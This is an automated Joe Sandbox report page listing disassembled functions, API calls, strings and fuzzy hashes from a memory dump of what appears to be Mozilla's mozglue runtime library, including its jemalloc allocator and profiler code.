MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
<jemalloc>, xrefs: 6C693941, 6C6939F1

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$a.8/
API String ID: 3040639385-2461763505
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 62.7, APIs: 33, Strings: 2, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

a.8/, xrefs: 6C6B34DB
, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID: $a.8/
API String ID: 3842999660-576073502
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 54.7, APIs: 24, Strings: 7, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

a.8/, xrefs: 6C6664D0
nvd3d9wrap.dll, xrefs: 6C666500
nvdxgiwrap.dll, xrefs: 6C666513
user32.dll, xrefs: 6C666526
detoured.dll, xrefs: 6C6664DA
_etoured.dll, xrefs: 6C6664ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$a.8/$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-1661379704
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 33.9, APIs: 16, Strings: 3, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

a.8/, xrefs: 6C67ED25
~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: a.8/$~qel$~qel
API String ID: 3693777188-566890310
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 32.9, APIs: 17, Strings: 4, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

a.8/, xrefs: 6C66FEFF
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)$a.8/
API String ID: 618468079-3338134925
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 30.5, APIs: 13, Strings: 4, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

a.8/, xrefs: 6C693E66
nvd3d9wrap.dll, xrefs: 6C694466
C>il, xrefs: 6C693E93
nvinit.dll, xrefs: 6C694479

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$a.8/$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-985305776
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 25.3, APIs: 13, Strings: 3, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

a.8/, xrefs: 6C66FEFF
MOZ_CRASH(), xrefs: 6C670CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$a.8/
API String ID: 618468079-767055420
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 23.7, APIs: 6, Strings: 7, Instructions: 950COMMON

Download Yara Rule

Strings

a.8/, xrefs: 6C6A5613
schema, xrefs: 6C6A606D
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
expected a Time entry, xrefs: 6C6A5CB6
data, xrefs: 6C6A6131
name, xrefs: 6C6A5E79, 6C6A5E8F
expected a Count entry, xrefs: 6C6A5AC3

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$a.8/$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-1964180369
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C697E10 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 403COMMON

Download Yara Rule

Strings

a.8/, xrefs: 6C697E24
vml, xrefs: 6C698207
schema, xrefs: 6C6981E3, 6C698311
data, xrefs: 6C698280, 6C6983E1
name, xrefs: 6C697ECF, 6C698335
(pre-xul), xrefs: 6C697E88

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$a.8/$data$name$schema$vml
API String ID: 3412268980-3813717803
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

set , xrefs: 6C6A36EC
get , xrefs: 6C6A3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C67D4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

a.8/, xrefs: 6C67C0F9, 6C67D4E2
: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>$a.8/
API String ID: 2690322072-1913945292
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
